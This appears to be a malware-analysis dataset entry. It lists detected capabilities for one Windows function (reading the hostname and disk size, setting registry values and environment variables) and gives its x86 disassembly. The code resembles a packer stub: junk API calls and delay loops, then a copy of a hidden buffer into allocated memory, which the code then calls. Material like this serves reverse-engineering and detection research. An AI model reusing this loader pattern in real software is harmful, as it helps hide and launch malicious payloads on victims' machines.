Function at 0x432244
Capabilities:
Get common file path
Get disk size
Get file attributes
Get hostname
Set environment variable
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x10cc
call fcn.00441a90
push ebx
push esi
push edi
xor esi, esi
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
cmp edi, 0xfa62c8f
jge 0x43227d
push esi
call dword [sym.imp.GDI32.dll_GetBkMode]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharWidth32W]
cmp edi, 0x207142
jg 0x43228e
inc edi
cmp edi, 0x67d12
jl 0x432258
cmp dword [0x47b4dc], 0x93
mov ebx, dword [sym.imp.USER32.dll_LoadMenuA]
jne 0x43234d
push esi
push esi
call dword [sym.imp.USER32.dll_GetWindowLongA]
mov edi, dword [sym.imp.GDI32.dll_CreateDCW]
push esi
push esi
push esi
push esi
call edi
push esi
push esi
lea eax, [ebp - 0x10c8]
push eax
push esi
push esi
call dword [sym.imp.USER32.dll_GetMenuStringW]
push esi
push esi
call ebx
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_InsertMenuItemA]
push esi
lea eax, [ebp - 0x8c8]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push esi
push esi
push esi
push esi
call edi
xor eax, eax
lock bts dword [eax], 0
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
push esi
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push esi
call fcn.004350fa
pop ecx
push esi
push esi
call fcn.00435129
push esi
call fcn.004350e3
add esp, 0xc
lea eax, [ebp - 0xc8]
push eax
call fcn.00432f4c
lea ecx, [ebp - 0x68]
call fcn.00432fe8
lea eax, [ebp - 0x68]
push eax
mov dword [ebp - 0x68], 0x430e20
call fcn.00433f43
pop ecx
add dword [0x47b4dc], 0x1134b
push dword [0x47b4dc]
mov eax, dword [0x449e34]
push esi
mov dword [0x47c318], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x47af68], eax
call fcn.004321ca
mov edi, 0x1692e
push esi
push esi
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec edi
jne 0x43237d
cmp dword [0x47b4dc], esi
jbe 0x4323f2
mov eax, dword [0x47c318]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x47af68]
mov byte [ecx + edi], al
cmp dword [0x47b4dc], 0x490
jne 0x4323e9
push esi
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
push 0x430cf4
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea eax, [ebp - 8]
push eax
push esi
lea eax, [ebp - 0x1c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
call dword [sym.imp.KERNEL32.dll_DebugBreak]
inc edi
cmp edi, dword [0x47b4dc]
jb 0x432392
xor edi, edi
mov eax, dword [0x47b4dc]
add eax, edi
cmp eax, 0x8d
jne 0x432448
push esi
lea eax, [ebp - 0x8c8]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LCMapStringW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_RegSetValueA]
push esi
push esi
call dword [sym.imp.USER32.dll_SetMenu]
push 0x430d18
push 0x430d2c
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenEventW]
inc edi
cmp edi, 0x38681
jl 0x4323f4
call fcn.004320cb
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x61
jne 0x432476
mov dword [ebp - 4], esi
add dword [ebp - 4], 0x4c7b
mov eax, dword [ebp - 4]
add dword [0x47af68], eax
inc edi
cmp edi, 0x674bd
jl 0x432458
push 0x7b
pop edi
cmp dword [0x47b4dc], 0x86
jne 0x4324d6
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push esi
lea eax, [ebp - 0xcc8]
push eax
push 0x430d40
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnWire]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push esi
lea eax, [ebp - 0x8c8]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
cmp dword [0x47b4dc], 0xf
jne 0x4324ea
push esi
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
dec edi
jne 0x432482
push 0x430d5c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x47af68]
pop edi
pop esi
pop ebx
leave
ret